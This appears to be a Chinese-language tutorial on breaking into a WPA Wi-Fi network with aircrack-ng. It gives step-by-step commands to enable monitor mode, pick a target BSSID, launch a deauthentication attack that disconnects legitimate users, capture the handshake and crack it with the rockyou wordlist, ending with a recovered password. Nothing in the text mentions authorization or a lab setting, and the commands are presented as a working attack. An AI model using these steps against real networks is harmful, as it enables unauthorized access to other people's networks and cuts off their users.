airmon-ng

我们看到没有mon0

接着下一条命令，开启监听模式

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

root@lm:~# airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! -e PID Name 3494 NetworkManager 4348 dhclient 4769 wpa_supplicant Interface Chipset Driver wlan0 Ralink RT2870/3070 rt2800usb - [phy0] (monitor mode enabled on mon0)

红色字体mon0已经开启，这时候再次输入ifconfig，发现是不是有mon0了!

接下来开始探测AP

airodump-ng

airodump-ng mon0

可以看到上方有很多BSSID也就是常说的MAC地址

我们选择一个BSSID进行攻击，抓包

1	airodump-ng -w 保存包的路径 -c 频道 -b BSSID mon0 (airodump-ng -w /root/Desktop/wifi -c 11 -b xx:xx:xx:xx:xx:xx mon0)

airodump-ng 参数

1	aireplay-ng -0 次数 -a AP'MAC -c 客户端'MAC mon0 --ignore-negative-one (aireplay-ng -0 1000 -a xx:xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx:xx mon0 --ignore-negative-one)

对合法用户进行deauth攻击,使其掉线重新连接AP，那么我们就静静等待抓握手包

看到这个就说明，我们已经抓到他的握手包了

接下来就是跑包环节

aircrack-ng

1	aircrack-ng -w< 字典 握手包 [我的字典文件在/root/password/，握手包在主文件夹下那么，就这样写] aircrack-ng -w /root/password/rockyou.txt adminlm*.cap

不要问我*是什么意思，你们应该懂！ （*相当于模糊搜索）

在   Index number of target network ?  我们选择2，也就是我们抓到握手包的那个 回车键

密码跑出来了，123456789
